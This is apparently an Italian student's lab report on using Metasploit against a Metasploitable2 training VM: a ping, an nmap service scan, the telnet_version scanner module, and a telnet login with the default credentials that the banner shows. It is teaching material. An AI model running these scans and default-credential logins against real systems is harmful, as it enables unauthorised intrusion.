



Exploit Telnet con Metasploit

Pablo Andres Balbuena Rios

Esercizio 2 Settimana 7

- Sulla base dell'esercizio visto in lezione teorica, utilizzare Metasploit per sfruttare la vulnerabilità relativa a Telnet con il modulo auxiliary telnet_version sulla macchina Metasploitable

Scansione della Macchina Metasploitable2

- Prima di fare la scansione, si deve fare un Ping per vedere se c'è connessione tra le due macchine
- Poi attraverso Nmap, andiamo a vedere se vi sono vulnerabilità sulle porte aperte, es: "telnet sulla porta 23".

```
(kali@kali)-[~]  
$ ping 192.168.1.85  
PING 192.168.1.85 (192.168.1.85) 56(84) bytes of data:  
64 bytes from 192.168.1.85: icmp_seq=1 ttl=64 time=0.346 ms  
64 bytes from 192.168.1.85: icmp_seq=2 ttl=64 time=0.237 ms  
64 bytes from 192.168.1.85: icmp_seq=3 ttl=64 time=0.175 ms  
64 bytes from 192.168.1.85: icmp_seq=4 ttl=64 time=0.363 ms  
^C  
— 192.168.1.85 ping statistics —  
4 packets transmitted, 4 received, 0% packet loss, time 3053ms  
rtt min/avg/max/mdev = 0.175/0.280/0.363/0.077 ms  
  
(kali@kali)-[~]  
$ sudo nmap -sV 192.168.1.85  
[sudo] password for kali:  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-23 05:29 EST  
Nmap scan report for 192.168.1.85  
Host is up (0.000098s latency).  
Not shown: 977 closed tcp ports (reset)  
PORT      STATE SERVICE      VERSION  
21/tcp    open  ftp           vsftpd 2.3.4
```

```
22/tcp    open  ssh           OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)  
| ssh-hostkey:  
|_ 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)  
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)  
23/tcp    open  telnet        Linux telnetd
```

Auxiliary telnet_version

- Attraverso Metasploit proviamo a cercare l'auxiliary "auxiliary/scanner/telnet/telnet_version".
- Dopo averlo trovato, andiamo a settare le impostazioni, cioè rhosts attraverso il comando "set rhosts 192.168.1.85", e facciamo partire metasploit con "run".

```
msf6 > use auxiliary/scanner/telnet/telnet_version
msf6 auxiliary(scanner/telnet/telnet_version) > show options

Module options (auxiliary/scanner/telnet/telnet_version):
```

Name	Current Setting	Required	Description
PASSWORD		no	The password for the specified username
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	23	yes	The target port (TCP)
THREADS	1	yes	The number of concurrent threads (max one per host)
TIMEOUT	30	yes	Timeout for the Telnet probe
USERNAME		no	The username to authenticate as

```
msf6 auxiliary(scanner/telnet/telnet_version) > set rhosts 192.168.1.85
rhosts => 192.168.1.85
```

Name	Current Setting	Required
PASSWORD		no
RHOSTS	192.168.1.85	yes
RPORT	23	yes
THREADS	1	yes
TIMEOUT	30	yes
USERNAME		no

Entrare in Metasploitable

- Attraverso l'output di Metasploit, ricaverò l'user e password per entrare attraverso telnet.
- Dopo usiamo il comando "telnet 192.168.1.85 23" per poter accedere a Metasploit.

```
[*] 192.168.1.85:23 - 192.168.1.85:23 TELNET -
Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started
[*] 192.168.1.85:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

```
(kali@kali)-[~]
$ telnet 192.168.1.85 23

Trying 192.168.1.85...
Connected to 192.168.1.85.
Escape character is '^['.

Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
```